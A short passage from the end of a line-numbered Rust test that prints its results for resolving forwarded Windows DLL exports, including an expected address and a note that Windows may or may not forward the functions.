{}", 1931 func_name 1932 ); 1933 1934 println!("[Forwarded Test] Expected address: {:p}\n", expected_addr); 1935 } 1936 1937 println!( 1938 "[Forwarded Test] Note: Windows may or may not forward these specific functions" 1939 ); 1940 println!("[Forwarded Test] The important thing is that our implementation can handle both cases\n"); 1941 1942 println!("=== Forwarded Exports Resolution Test Completed! ===\n"); 1943 } 1944 } 1945 }